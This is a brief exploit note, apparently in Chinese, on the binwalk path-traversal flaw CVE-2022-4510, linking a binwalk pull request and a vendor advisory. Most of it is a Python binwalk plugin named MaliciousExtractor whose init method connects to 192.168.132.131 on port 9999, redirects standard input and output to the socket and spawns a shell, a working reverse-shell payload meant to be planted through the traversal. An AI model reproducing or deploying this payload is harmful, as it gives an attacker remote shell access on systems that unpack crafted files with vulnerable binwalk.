binwalk路径穿越CVE-2022-4510

https://github.com/ReFirmLabs/binwalk/pull/617

import binwalk.core.pluginimport socket,subprocess,os,ptyclass MaliciousExtractor(binwalk.core.plugin.Plugin):    def init(self):        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)        s.connect(("192.168.132.131",9999))        os.dup2(s.fileno(),0)        os.dup2(s.fileno(),1)        os.dup2(s.fileno(),2)        pty.spawn("sh")

https://github.com/ReFirmLabs/binwalk/pull/617https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/